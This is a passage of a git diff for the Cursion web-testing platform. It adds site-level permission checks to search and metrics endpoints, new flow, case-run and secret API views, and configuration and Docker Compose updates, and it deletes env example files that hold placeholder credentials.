     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -5687,7 +6939,7 @@ def get_log(request: object, id: str) -> object:
 
 
 
-def search_resources(request: object) -> object:
+def search_resources(request: object=None) -> object:
     """
     This method will search for any `Page` or `Site`
     that is associated with the user's `Account` and
@@ -5711,45 +6963,78 @@ def search_resources(request: object) -> object:
     # get data
     query = request.query_params.get('query')
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
+    actions = member.permissions.get('actions', [])
+    resources = member.permissions.get('resources', [])
+    allowed_ids = [item['id'] for item in member.permissions.get('sites')]
     data = []
     cases = []
     pages = []
     sites = []
     issues = []
+    flows = []
+
+    # check action permissons
+    if 'get' not in actions:
+        data = {'reason': 'not allowed',}
+        record_api_call(request, data, '403')
+        return Response(data, status=status.HTTP_403_FORBIDDEN)
 
     # check for object specification i.e 'site:', 'case:', 'issue:'
     resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]
     query = query.replace('https://', '').replace('http://', '').split(':')[-1]
 
     # search for sites
-    if resource_type == 'site' or resource_type == query:
+    if (resource_type == 'site' or resource_type == query) and 'site' in resources:
         sites = Site.objects.filter(account=account).filter(
             site_url__icontains=query
         )
+        # filter out all non permisioned
+        if len(allowed_ids) > 0:
+            sites = sites.filter(id__in=allowed_ids)
 
     # search for pages
-    if resource_type == 'page' or resource_type == query:
+    if (resource_type == 'page' or resource_type == query) and 'page' in resources:
         pages = Page.objects.filter(account=account).filter(
             page_url__icontains=query
         )
+        # filter out all non permisioned
+        if len(allowed_ids) > 0:
+            pages = pages.filter(site__id__in=allowed_ids)
 
     # search for cases
-    if resource_type == 'case' or resource_type == query:
+    if (resource_type == 'case' or resource_type == query) and 'case' in resources:
         cases = Case.objects.filter(account=account).filter(
-            name__icontains=query
+            title__icontains=query
         )
+        # filter out all non permisioned
+        if len(allowed_ids) > 0:
+            cases = cases.filter(site__id__in=allowed_ids)
 
     # search for issues
-    if resource_type == 'issue' or resource_type == query:
+    if (resource_type == 'issue' or resource_type == query) and 'issue' in resources:
         issues = Issue.objects.filter(account=account).filter(
             title__icontains=query
         )
+        # filter out all non permisioned
+        if len(allowed_ids) > 0:
+            new_ids = allowed_ids
+            for id in allowed_ids:
+                for page in Page.objects.filter(site__id=id):
+                    new_ids.append(str(page.id))
+            issues = issues.filter(affected__id__in=new_ids)
+
+    # search for flows
+    if (resource_type == 'flow' or resource_type == query) and 'flow' in resources:
+        flows = Flow.objects.filter(account=account).filter(
+            title__icontains=query
+        )
 
     # adding first several sites if present
     i = 0
-    max_sites = 10 if resource_type == 'site' else 3
-    while i <= max_sites and i <= (len(sites)-1):
+    sites_allowed = 10 if resource_type == 'site' else 3
+    while i <= sites_allowed and i <= (len(sites)-1):
         data.append({
             'str': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
@@ -5775,7 +7060,7 @@ def search_resources(request: object) -> object:
     max_cases = 10 if resource_type == 'case' else 3
     while i <= max_cases and i <= (len(cases)-1):
         data.append({
-            'str': str(cases[i].name),
+            'str': str(cases[i].title),
             'path': f'/case/{cases[i].id}',
             'id'  : str(cases[i].id),
             'type': 'case',
@@ -5793,6 +7078,18 @@ def search_resources(request: object) -> object:
             'type': 'issue',
         })
         i+=1
+
+    # adding first several flows if present
+    i = 0
+    max_flows = 10 if resource_type == 'flows' else 2
+    while i <= max_flows and i <= (len(flows)-1):
+        data.append({
+            'str': str(flows[i].title),
+            'path': f'/flow/{flows[i].id}',
+            'id'  : str(flows[i].id),
+            'type': 'flow',
+        })
+        i+=1
     
     # return response
     response = Response(data, status=status.HTTP_200_OK)
@@ -5801,7 +7098,7 @@ def search_resources(request: object) -> object:
 
 
 
-def get_devices(request: object) -> object:
+def get_devices(request: object=None) -> object:
     """ 
     Retrieves a list of all Cursion "devices"
     
@@ -5827,7 +7124,7 @@ def get_devices(request: object) -> object:
 
 
 
-def get_home_metrics(request: object) -> object:
+def get_home_metrics(request: object=None) -> object:
     """ 
     Builds metrics for account "Home" view 
     on Cursion.client
@@ -5841,22 +7138,35 @@ def get_home_metrics(request: object) -> object:
 
     # get user, account, sites, & issues
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     sites = Site.objects.filter(account=account).count()
-    issues = Issue.objects.filter(account=account, status='open').count()
+    issues = Issue.objects.filter(account=account, status='open')
     schedules = Schedule.objects.filter(account=account).count()
     
+    # filter issues by allowed sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        new_ids = id_list
+        for id in id_list:
+            for page in Page.objects.filter(site__id=id):
+                new_ids.append(str(page.id))
+        issues = issues.filter(affected__id__in=new_ids)
+    
     # setting resource defaults
     tests = account.usage['tests']
     scans = account.usage['scans']
-    testcases = account.usage['testcases']
+    caseruns = account.usage['caseruns']
+    flowruns = account.usage.get('flowruns', 0)
+    issues = issues.count()
 
     # calculate usages
-    sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0
-    schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    sites_usage = round((sites/account.usage['sites_allowed'])*100, 2) if sites > 0 else 0
+    schedules_usage = round((schedules/account.usage['schedules_allowed'])*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
-    testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
+    caseruns_usage = round((caseruns/account.usage['caseruns_allowed'])*100, 2) if caseruns > 0 else 0
+    flowruns_usage = round((flowruns/account.usage['flowruns_allowed'])*100, 2) if flowruns > 0 else 0
     
     # format data
     data = {
@@ -5868,8 +7178,10 @@ def get_home_metrics(request: object) -> object:
         "scans_usage": scans_usage,
         "schedules": schedules,
         "schedules_usage": schedules_usage,
-        "testcases": testcases,
-        "testcases_usage": testcases_usage,
+        "caseruns": caseruns,
+        "caseruns_usage": caseruns_usage,
+        "flowruns": flowruns,
+        "flowruns_usage": flowruns_usage,
         "open_issues": issues,
     }
     
@@ -5880,8 +7192,7 @@ def get_home_metrics(request: object) -> object:
 
 
 
-
-def get_site_metrics(request: object) -> object:
+def get_site_metrics(request: object=None) -> object:
     """ 
     Builds metrics for account "Site" view 
     on Cursion.client
@@ -5895,10 +7206,11 @@ def get_site_metrics(request: object) -> object:
 
     # get user, account, site, & pages
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
     site_id = request.query_params.get('site_id')
     site = Site.objects.get(id=site_id)
-    max_sites = account.max_sites
+    sites_allowed = account.usage['sites_allowed']
     pages = Page.objects.filter(site=site)
 
     # get last reset day 
@@ -5923,8 +7235,14 @@ def get_site_metrics(request: object) -> object:
         time_created__gte=last_usage_date
     ).count()
 
-    # get testcases
-    testcases = Testcase.objects.filter(
+    # get caseruns
+    caseruns = CaseRun.objects.filter(
+        site=site,
+        time_created__gte=last_usage_date
+    ).count()
+
+    # get flowruns
+    flowruns = FlowRun.objects.filter(
         site=site,
         time_created__gte=last_usage_date
     ).count()
@@ -5944,11 +7262,12 @@ def get_site_metrics(request: object) -> object:
         
     # calculate usage
     pages = pages.count()
-    pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0
-    schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    pages_usage = round((pages/account.usage['pages_allowed'])*100, 2) if pages > 0 else 0
+    schedules_usage = round((schedules/account.usage['schedules_allowed'])*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
-    testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
+    caseruns_usage = round((caseruns/account.usage['caseruns_allowed'])*100, 2) if caseruns > 0 else 0
+    flowruns_usage = round((flowruns/account.usage['flowruns_allowed'])*100, 2) if flowruns > 0 else 0
 
     # format data
     data = {
@@ -5960,8 +7279,10 @@ def get_site_metrics(request: object) -> object:
         "scans_usage": scans_usage,
         "schedules": schedules,
         "schedules_usage": schedules_usage,
-        "testcases": testcases,
-        "testcases_usage": testcases_usage,
+        "caseruns": caseruns,
+        "caseruns_usage": caseruns_usage,
+        "flowruns": flowruns,
+        "flowruns_usage": flowruns_usage,
     }
 
     # return response
@@ -5971,8 +7292,7 @@ def get_site_metrics(request: object) -> object:
 
 
 
-
-def get_celery_metrics(request: object) -> object:
+def get_celery_metrics(request: object=None) -> object:
     """ 
     Builds metrics for current Celery task load.
     Used to provision and terminate new pods in 
@@ -6046,7 +7366,7 @@ def get_celery_metrics(request: object) -> object:
 
 
 
-def migrate_site(request: object) -> object:
+def migrate_site(request: object=None) -> object:
     """
     Initiate a `Site` migration task in background
 
@@ -6074,7 +7394,7 @@ def migrate_site(request: object) -> object:
     driver = request.data.get('driver', 'selenium')
 
     # checking account and resource 
-    check_data = check_account_and_resource(
+    check_data = check_permissions_and_usage(
         request=request, resource='site', 
         site_id=site_id
     )
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index b13d49dd..f93e8a0c 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -29,10 +29,20 @@
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('case/copy', views.CopyCases.as_view(), name='case-copy'),
+    path('cases/delete', views.CasesDelete.as_view(), name='cases-delete'),
     path('cases/zapier', views.CasesZapier.as_view(), name='cases-zapier'),
-    path('testcase', views.Testcases.as_view(), name='testcase'),
-    path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
-    path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'),
+    path('caserun', views.CaseRuns.as_view(), name='caserun'),
+    path('caserun/<uuid:id>', views.CaseRunDetail.as_view(), name='caserun-detail'),
+    path('caseruns/zapier', views.CaseRunsZapier.as_view(), name='caseruns-zapier'),
+    path('flow', views.Flows.as_view(), name='case'),
+    path('flow/<uuid:id>', views.FlowDetail.as_view(), name='flow-detail'),
+    path('flow/search', views.FlowsSearch.as_view(), name='flows-search'),
+    path('flow/copy', views.CopyFlows.as_view(), name='flows-copy'),
+    path('flows/delete', views.FlowsDelete.as_view(), name='flows-delete'),
+    path('flows/zapier', views.FlowsZapier.as_view(), name='flows-zapier'),
+    path('flowrun', views.FlowRuns.as_view(), name='flowruns'),
+    path('flowrun/<uuid:id>', views.FlowRunDetail.as_view(), name='flowruns-detail'),
+    path('flowruns/zapier', views.FlowRunsZapier.as_view(), name='flowruns-zapier'),
     path('issue', views.Issues.as_view(), name='issue'),
     path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
@@ -46,14 +56,17 @@
     path('schedule/run', views.ScheduleRun.as_view(), name='schedule-run'),
     path('schedules/update', views.SchedulesUpdate.as_view(), name='schedule-update'),
     path('schedules/delete', views.SchedulesDelete.as_view(), name='schedule-delete'),
-    path('automation', views.Automations.as_view(), name='automation'),
-    path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
+    path('alert', views.Alerts.as_view(), name='alert'),
+    path('alert/<uuid:id>', views.AlertDetail.as_view(), name='alert-detail'),
     path('process', views.Processes.as_view(), name='process'),
     path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
-    path('search', views.Search.as_view(), name='search'),
-    path('device', views.Device.as_view(), name='device'),
+    path('secret', views.Secrets.as_view(), name='secret'),
+    path('secret/<uuid:id>', views.SecretDetail.as_view(), name='secret-detail'),
+    path('secrets', views.SecretsAll.as_view(), name='secrets-all'),
     path('log', views.Logs.as_view(), name='log'),
     path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
+    path('search', views.Search.as_view(), name='search'),
+    path('device', views.Device.as_view(), name='device'),
     path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
     path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'),
     path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 0ed0e26e..5225cbe5 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -376,37 +376,37 @@ def post(self, request):
 
 
 
-### ------ Begin Automation Views ------ ###
+### ------ Begin Alert Views ------ ###
 
 
 
 
-class Automations(APIView):
+class Alerts(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
     pagination_class = LimitOffsetPagination
 
     def post(self, request):
-        response = create_or_update_automation(request)
+        response = create_or_update_alert(request)
         return response
     
     def get(self, request):
-        response = get_automations(request)
+        response = get_alerts(request)
         return response
 
 
 
 
-class AutomationDetail(APIView):
+class AlertDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        response = get_automation(request, id)
+        response = get_alert(request, id)
         return response
 
     def delete(self, request, id):
-        response = delete_automation(request, id)        
+        response = delete_alert(request, id)        
         return response
 
 
@@ -525,6 +525,17 @@ def post(self, request):
 
 
 
+class CasesDelete(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_cases(request)
+        return response
+
+
+
+
 class CasesZapier(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
@@ -536,47 +547,172 @@ def get(self, request):
 
 
 
-### ------ Begin Testcase Views ------ ###
+### ------ Begin CaseRun Views ------ ###
+
+
+
+
+class CaseRuns(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post', 'get']
+
+    def post(self, request):
+        response = create_caserun(request)        
+        return response
+    
+    def get(self, request):
+        response = get_caseruns(request)
+        return response
+
+
+
+
+class CaseRunDetail(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        response = get_caserun(request, id)
+        return response
+
+    def delete(self, request, id):
+        response = delete_caserun(request, id)        
+        return response
+
+
+
+
+class CaseRunsZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_caseruns_zapier(request)
+        return response
+
+
+
+
+### ------ Begin Flow Views ------ ###
+
+
+
+
+class Flows(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post', 'get']
+
+    def post(self, request):
+        response = create_or_update_flow(request)        
+        return response
+    
+    def get(self, request):
+        response = get_flows(request)
+        return response
+
+
+
+
+class FlowsSearch(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = search_flows(request)
+        return response
+
+
+
+
+class FlowDetail(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        response = get_flow(request, id)
+        return response
+
+    def delete(self, request, id):
+        response = delete_flow(request, id)        
+        return response
+
+
+
 
+class CopyFlows(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = copy_flow(request)  
+        return response
 
 
 
-class Testcases(APIView):
+
+class FlowsDelete(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_flows(request)
+        return response
+
+
+
+
+class FlowsZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_flows_zapier(request)
+        return response
+
+
+
+
+### ------ Begin FlowRun Views ------ ###
+
+
+
+
+class FlowRuns(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
-        response = create_testcase(request)        
+        response = create_flowrun(request)        
         return response
     
     def get(self, request):
-        response = get_testcases(request)
+        response = get_flowruns(request)
         return response
 
 
 
 
-class TestcaseDetail(APIView):
+class FlowRunDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
-        response = get_testcase(request, id)
+        response = get_flowrun(request, id)
         return response
 
     def delete(self, request, id):
-        response = delete_testcase(request, id)        
+        response = delete_flowrun(request, id)        
         return response
 
 
 
 
-class TestcasesZapier(APIView):
+class FlowRunsZapier(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
 
     def get(self, request):
-        response = get_testcases_zapier(request)
+        response = get_flowruns_zapier(request)
         return response
 
 
@@ -661,6 +797,53 @@ def get(self, request):
 
 
 
+### ------ Begin Secret Views ------ ###
+
+
+
+
+class Secrets(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post', 'get']
+
+    def post(self, request):
+        response = create_or_update_secret(request)        
+        return response
+    
+    def get(self, request):
+        response = get_secrets(request)
+        return response
+
+
+
+
+class SecretDetail(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        response = get_secret(request, id)
+        return response
+
+    def delete(self, request, id):
+        response = delete_secret(request, id)        
+        return response
+
+
+
+
+
+class SecretsAll(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_secrets_all(request)
+        return response
+
+
+
+
 ### ------ Begin Log Views ------ ###
 
 
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 3af3c025..f24ee8b2 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -14,21 +14,26 @@
 from datetime import timedelta
 import os
 
+
 # Build paths inside the project like this: BASE_DIR / 'subdir'.
 BASE_DIR = Path(__file__).resolve().parent.parent
 
+
 # SECURITY WARNING: keep the secret key used in production secret!
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
+
 # SECURITY WARNING: don't run with debug turned on in production!
 DEBUG = True if os.environ.get('DEBUG') == 'True' else False
 
+
 # Network settings
 CORS_ORIGIN_ALLOW_ALL = True
 DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
 ALLOWED_HOSTS = [os.environ.get('DJANGO_ALLOWED_HOSTS')]
 
+
 # URLs & location
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
 LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT')
@@ -37,9 +42,11 @@
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
 LOCATION = os.environ.get('LOCATION')
 
+
 # Cursion.landing API KEY
 LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 
+
 # Application definition
 INSTALLED_APPS = [
     'django.contrib.admin',
@@ -205,6 +212,12 @@
 AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE')
 
 
+# Twilio configs
+TWILIO_SID = os.environ.get('TWILIO_SID')
+TWILIO_AUTH_TOKEN = os.environ.get('TWILIO_AUTH_TOKEN')
+TWILIO_NUMBER = os.environ.get('TWILIO_NUMBER')
+
+
 # Google oAuth2
 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID')
 GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET')
@@ -218,6 +231,10 @@
 GPT_API_KEY = os.environ.get('GPT_API_KEY')
 
 
+# Encryption Key
+SECRETS_KEY = os.environ.get('SECRETS_KEY')
+
+
 # Stripe keys
 if os.environ.get('STRIPE_ENV') == 'prod':
     STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE')
@@ -240,7 +257,8 @@
     'timeout': 300,
     'disable_animations': False,
     'auto_height': True,
-    'create_issue': True
+    'create_issue': True,
+    'end_on_fail': True
 }
 
 
diff --git a/commands.txt b/commands.txt
deleted file mode 100644
index 7bbf550b..00000000
--- a/commands.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-
-
-### easy local script ###
-source ./setup/scripts/local.sh
-
-
-
-### spins up container on localhost ###
-docker compose -f docker-compose.local.yml up --build
-
-### spins down container on localhost ###
-docker compose -f docker-compose.local.yml down
-
-
-
-### spins up the container for production ###
-docker compose -f docker-compose.prod.yml up -d --build
-
-### spins down the container ###
-docker compose -f docker-compose.prod.yml down
-
-
-
-### spins up the container for development ###
-docker compose -f docker-compose.dev.yml up -d --build
-
-### spins down the container ###
-docker compose -f docker-compose.dev.yml down
-
-
-
-### spins up the container for staging migrations ###
-docker compose -f docker-compose.stage.yml up --build
-
-### spins down the container ###
-docker compose -f docker-compose.stage.yml down
-
-
-
-### spins up the container for geo-locations ###
-docker compose -f docker-compose.remote.yml up -d --build
-
-### spins down the container ###
-docker compose -f docker-compose.remote.yml down
-
-
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 8046334c..68396aa0 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -1,6 +1,14 @@
 services:
 
 
+  client:
+    image: cursiondev/client
+    env_file:
+      - .env.dev
+    ports:
+      - "3000:3000"
+
+
   app:
     container_name: cursion-app
     hostname: cursion-app
@@ -15,7 +23,7 @@ services:
     expose:
       - 8000
     env_file:
-      - ./env/.env.dev
+      - .env.dev
     volumes:
       - app:/app
       - static_volume:/app/static
@@ -30,7 +38,7 @@ services:
     ports:
       - "5432"
     env_file:
-      - ./env/.env.dev
+      - .env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
 
@@ -54,7 +62,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
-      - ./env/.env.dev
+      - .env.dev
     volumes:
       - celery:/app
     depends_on:
@@ -76,7 +84,7 @@ services:
     volumes:
       - beat:/app
     env_file:
-      - ./env/.env.dev
+      - .env.dev
     depends_on:
       - redis
       - celery
@@ -102,7 +110,7 @@ services:
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
-    build: nginx
+    image: cursiondev/nginx
     restart: always
     ports:
       - 443:443
diff --git a/docker-compose.local.yml b/docker-compose.yml
similarity index 95%
rename from docker-compose.local.yml
rename to docker-compose.yml
index afaca8eb..4e323537 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.yml
@@ -6,7 +6,7 @@ services:
     hostname: cursion-app
     platform: linux/amd64
     privileged: true
-    restart: always
+    restart: no
     init: true
     build:
       context: .
@@ -45,7 +45,7 @@ services:
     hostname: cursion-celery
     platform: linux/amd64
     privileged: true
-    restart: always
+    restart: no
     build:
       context: .
       dockerfile: Dockerfile
@@ -65,7 +65,7 @@ services:
     hostname: cursion-beat
     platform: linux/amd64
     privileged: true
-    restart: always
+    restart: no
     build:
       context: .
       dockerfile: Dockerfile
@@ -85,7 +85,7 @@ services:
     container_name: yellowlab
     hostname: yellowlab
     privileged: true
-    restart: always
+    restart: no
     image: cursiondev/ylt
     ports:
       - 8383:8383
diff --git a/docker-compose.prod.yml b/docker/docker-compose.prod.yml
similarity index 89%
rename from docker-compose.prod.yml
rename to docker/docker-compose.prod.yml
index d798bee4..19579682 100644
--- a/docker-compose.prod.yml
+++ b/docker/docker-compose.prod.yml
@@ -1,6 +1,14 @@
 services:
 
 
+  client:
+    image: cursiondev/client
+    env_file:
+      - .env.prod
+    ports:
+      - "3000:3000"
+
+
   app:
     container_name: cursion-app
     hostname: cursion-app
@@ -8,14 +16,12 @@ services:
     platform: linux/amd64
     privileged: true
     init: true
-    build:
-      context: .
-      dockerfile: Dockerfile
+    image: cursiondev/server
     entrypoint: ["/entrypoint.sh", "app", "remote"]
     expose:
       - 8000
     env_file:
-      - ./env/.env.prod
+      - .env.prod
     volumes:
       - app:/app
       - static_volume:/app/static
@@ -30,7 +36,7 @@ services:
     ports:
       - "5432"
     env_file:
-      - ./env/.env.prod
+      - .env.prod
     volumes: 
       - pgdata:/var/lib/postgresql/data
 
@@ -48,12 +54,10 @@ services:
     hostname: cursion-celery
     privileged: true
     restart: always
-    build:
-      context: .
-      dockerfile: Dockerfile
+    image: cursiondev/server
     entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
-      - ./env/.env.prod
+      - .env.prod
     volumes:
       - celery:/app
     depends_on:
@@ -67,14 +71,12 @@ services:
     hostname: cursion-beat
     privileged: true
     restart: always
-    build:
-      context: .
-      dockerfile: Dockerfile
+    image: cursiondev/server
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - beat:/app
     env_file:
-      - ./env/.env.prod
+      - .env.prod
     depends_on:
       - redis
       - celery
@@ -100,7 +102,7 @@ services:
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
-    build: nginx
+    image: cursiondev/nginx
     restart: always
     ports:
       - 443:443
diff --git a/docker-compose.remote.yml b/docker/docker-compose.remote.yml
similarity index 94%
rename from docker-compose.remote.yml
rename to docker/docker-compose.remote.yml
index 2fbb3894..bc9a7ad6 100644
--- a/docker-compose.remote.yml
+++ b/docker/docker-compose.remote.yml
@@ -15,7 +15,7 @@ services:
     expose:
       - 8000
     env_file:
-      - ./env/.env.remote
+      - .env.remote
     volumes:
       - app:/app
       - static_volume:/app/static
@@ -39,7 +39,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
-      - ./env/.env.remote
+      - .env.remote
     volumes:
       - celery:/app
     depends_on:
@@ -59,7 +59,7 @@ services:
     volumes:
       - beat:/app
     env_file:
-      - ./env/.env.remote
+      - .env.remote
     depends_on:
       - redis
       - celery
@@ -83,7 +83,7 @@ services:
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
-    build: nginx
+    image: cursiondev/nginx
     restart: always
     ports:
       - 443:443
@@ -103,7 +103,7 @@ services:
     hostname: nginx-proxy-letsencrypt
     image: nginxproxy/acme-companion
     env_file:
-      - ./env/.env.remote
+      - .env.remote
     volumes:
       - /var/run/docker.sock:/var/run/docker.sock:ro
       - certs:/etc/nginx/certs
diff --git a/env/.env.dev.example b/env/.env.dev.example
deleted file mode 100644
index 537b1b3f..00000000
--- a/env/.env.dev.example
+++ /dev/null
@@ -1,103 +0,0 @@
-# django
-SECRET_KEY = ask-for-this-or-generate-yourself
-CLIENT_URL_ROOT = https://app.example.io            # example
-API_URL_ROOT = https://api.example.io               # example
-YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
-LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
-LETSENCRYPT_HOST = api.example.io                   # example
-VIRTUAL_HOST = api.example.io                       # example
-VIRTUAL_PORT = 8000
-DJANGO_ALLOWED_HOSTS = *
-DEBUG = True
-LOCATION = us
-
-
-# admin credentials  
-ADMIN_USER = fake               # example
-ADMIN_PASS = dontTryIt1234      # example
-ADMIN_EMAIL = fake@example.com  # example
-
-
-# email credentials
-EMAIL_HOST = smtp.gmail.com
-EMAIL_PORT = 587
-EMAIL_USE_TLS = True
-EMAIL_HOST_USER = fake@example.com   # example
-EMAIL_HOST_PASSWORD = 1234456677888  # example
-
-
-# database
-DB_HOST=db
-DB_NAME=app
-DB_USER=postgres
-DB_PASS=supersecretpassword
-POSTGRES_DB=app
-POSTGRES_USER=postgres
-POSTGRES_PASSWORD=supersecretpassword
-
-
-# paths
-CHROMEDRIVER = /usr/bin/chromedriver
-CHROME_BROWSER = /usr/bin/chromium
-FIREFOX_BROWSER = /usr/bin/firefox
-EDGE_BROWSER = /usr/bin/microsoft-edge-stable
-
-
-# stripe keys
-STRIPE_PUBLIC_TEST = 
-STRIPE_PRIVATE_TEST = 
-STRIPE_PUBLIC_LIVE = 
-STRIPE_PRIVATE_LIVE = 
-STRIPE_ENV = dev
-
-
-# google keys
-GOOGLE_CRUX_KEY = 
-
-
-# OAuth keys
-GOOGLE_OAUTH2_CLIENT_ID = 
-GOOGLE_OAUTH2_CLIENT_SECRET = 
-
-
-# twilio credentials
-TWILIO_SID = 
-TWILIO_AUTH_TOKEN = 
-TWILIO_NUMBER = 
-
-
-# sendgrid configs
-SENDGRID_API_KEY = 
-DEFAULT_TEMPLATE = 
-DEFAULT_TEMPLATE_NO_BUTTON = 
-AUTOMATION_TEMPLATE = 
-
-
-# slack credentials
-SLACK_APP_ID = 
-SLACK_CLIENT_ID = 
-SLACK_CLIENT_SECRET = 
-SLACK_SIGNING_SECRET = 
-SLACK_VERIFICATION_TOKEN = 
-SLACK_BOT_TOKEN = 
-
-
-# s3 remote storage credentials
-AWS_ACCESS_KEY_ID = 
-AWS_SECRET_ACCESS_KEY = 
-AWS_STORAGE_BUCKET_NAME = storage-scanerr   # example
-AWS_S3_REGION_NAME = sfo3                   # example
-AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
-AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
-AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
-
-
-
-# OpenAI API key
-GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
-
-
-
-# Self Hosted Cred
-CRED = ask-for-this-cred-before-deploying
\ No newline at end of file
diff --git a/env/.env.prod.example b/env/.env.prod.example
deleted file mode 100644
index cd6ae76a..00000000
--- a/env/.env.prod.example
+++ /dev/null
@@ -1,104 +0,0 @@
-# high level django configs
-SECRET_KEY = ask-for-this-or-generate-yourself
-CLIENT_URL_ROOT = https://app.example.io            # example
-LANDING_URL_ROOT = https://example.io               # example
-API_URL_ROOT = https://api.example.io               # example
-YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
-LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
